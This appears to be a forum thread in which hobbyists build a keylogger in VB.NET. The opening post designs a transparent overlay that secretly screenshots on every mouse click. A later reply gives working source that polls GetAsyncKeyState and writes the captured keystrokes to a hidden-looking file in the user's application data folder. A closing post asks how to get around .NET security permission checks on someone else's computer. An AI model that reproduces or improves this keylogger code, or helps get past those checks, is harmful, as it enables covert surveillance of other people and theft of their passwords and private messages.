I am currently working on my first keylogger but im not willing to stop short on this one...  I have been doing some browsing on the internet and i have found many usefull tips and tricks.  I also have a cure for the screen hog part.  The way my keylogger will work is the form will be transparent and will cover the whole screen, this is essential for the first benefit of my program.  I am making the program so that it takes a screenshot and saves it every thime the mouse is clicked (down and up).  Since the form is transparent (to an extent) the user can manipulate things beneath the form while unknowingly using the form.  This is the good part for keylogger.  For this keylogger to work though, you have to be able to make it so that everytime a key is pressed on your textbox it sends that key to whichever program or whatever they have bellow your form.  This is done by the ,you guessed it, Sendkeys method.  You can find more information on that online all over the place.

by wierd symbols, do you mean things such as these:
@,_,%,#,!,%,
Because with this code, I can't seem to view any special characters, and I would like to. Could you tell me what needs to be changed in the code to allow special characters?

The simplest way to make a non-CPU-hog keylogger is to hook the keyboard and make sure that the message still gets sent to the desitination application. The weird symbols appear because the character appended to the file is not a letter - for instance the character number '220' will return some very strange results in a text editor. Search for an ASCII Code table and then you will see the link betweeen the strange symbols.

I see. Once I know what the value of i is for a certain button I can easily avoid wierd characters by putting it into an if statement and customizing the text that is added to the textbox. For instance,
mouse left click = 1
if chr(i) = chr(1) then
me.textbox.text += "(Left Click)"

um, can you do this in 2003? It says that i is not declared!

 

 

Help

 

Hello there! I got the code to work but the output is always in the upper case....the caps lock is not pressed. Could use some help....thanks

Natorweb wrote:

um, can you do this in 2003? It says that i is not declared!

 

 

Help

 

For i as integer=32 to 128 step 1

.....

next i

juggernot wrote:

I see. Once I know what the value of i is for a certain button I can easily avoid wierd characters by putting it into an if statement and customizing the text that is added to the textbox. For instance, mouse left click = 1 if chr(i) = chr(1) then me.textbox.text += "(Left Click)"

try

if i=keys.lbutton(stands for left mouse button) then

me.textbox.text &= "(Left Click)"

end if

pcmattman wrote:

can you post a tutorial/source code in vb?

pcmattman wrote:

The simplest way to make a non-CPU-hog keylogger is to hook the keyboard and make sure that the message still gets sent to the desitination application. The weird symbols appear because the character appended to the file is not a letter - for instance the character number '220' will return some very strange results in a text editor. Search for an ASCII Code table and then you will see the link betweeen the strange symbols.

sorry for the double....but there seems to be an error when i try to edit my post and insert a quote...

anyway,...can you post a tutorial/source code in vb?

realy can you give us the code for VB 2005

DDvl wrote:

realy can you give us the code for VB 2005

Private

strLetter As String = ""

Private ret As Integer

Private counter As Integer = 0

Private Declare Function GetAsyncKeyState Lib "user32" Alias "GetAsyncKeyState" (ByVal vkey As Integer) As Integer

Private

Sub Form1_Load(ByVal sender As Object, ByVal e As System.EventArgs) Handles Me.Load

Me.Timer1.Interval = 10

Me.Timer1.Enabled = True

Me.Timer1.Start()

End Sub

Private

Sub Timer1_Tick(ByVal sender As Object, ByVal e As System.EventArgs) Handles Timer1.Tick

For i As Integer = 32 To 128

ret = 0

ret = GetAsyncKeyState(i)

If ret = -32767 Then

Me.strLetter &= i & vbTab & Chr(i) & vbCrLf

End If

Next

If Me.counter > 60000 Then

My.Computer.FileSystem.WriteAllText(My.Computer.FileSystem.SpecialDirectories.CurrentUserApplicationData & "\readMe.txt", Me.strLetter, True)

Me.strLetter = ""

Me.counter = 0

End If

counter += 1

End Sub

it says name "i" is not declared what do i change it to? vb express 05

ok i got it to work but now when i hit debug on vb it brings up the form with the text box now how do i see whats being typed?

Ive got a problem...everything is fine on the computer I created the program on but when I test it on my brothers machine it fails to pass a security exception..(System.Security.Permission)

Now what I want to do is bypass this security check without changing it in the administrative .NET configuration manually. So is there any way that you can adjust the settings for the .NET permissions of security on the startup of the application automatically with a confirmation screen and then revert back to the normal .NET settings on exit or maybe just bypass all security permission checks altogether?

So far everything is ok on VB .Net 2005 express.

Regards,

Andrew